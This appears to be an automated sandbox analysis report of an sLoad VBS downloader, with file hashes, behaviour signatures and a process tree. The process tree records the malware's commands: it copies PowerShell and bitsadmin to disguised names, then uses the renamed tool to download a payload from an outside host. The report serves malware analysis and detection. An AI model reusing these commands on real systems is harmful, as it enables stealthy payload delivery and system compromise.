Analysis

  • max time kernel
    25s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23-11-2020 13:04

General

  • Target

    Allegato_Sload_Italy_vbs (20).vbs

  • Size

    7KB

  • MD5

    764c02c19ff5e5813528991248c34d08

  • SHA1

    d6c3be949a077865c84ae819265bf3a8acf4115f

  • SHA256

    189c235e1d8e1cd2bf2ad530c774a3004872956729b475edd53f0397b81c0806

  • SHA512

    77ab15c84a2472f65ff4966ef57b5ff85732e4c42158ed262a24bf64a874a89581ae16b24959c175230bc0e4933d4bff0f7921190ebfa9ff30a277e2cd8224f9

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (20).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zdFWsdWA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PXrnMVl*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1908
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zdFWsdWA.exe
        3⤵
          PID:2000
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PXrnMVl*.exe
          3⤵
            PID:1184
        • C:\ProgramData\PXrnMVlin.exe
          "C:\ProgramData\PXrnMVlin.exe" /transfer GxitvS /download https://estebankott.com/ordasum/SNNRRT80M06D205G/map.gif C:\Users\Admin\AppData\Roaming\map.gif
          2⤵
          • Executes dropped EXE
          PID:2036

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\PXrnMVlin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\PXrnMVlin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1184-2-0x0000000000000000-mapping.dmp

      • memory/1908-0-0x0000000000000000-mapping.dmp

      • memory/2000-1-0x0000000000000000-mapping.dmp

      • memory/2036-4-0x0000000000000000-mapping.dmp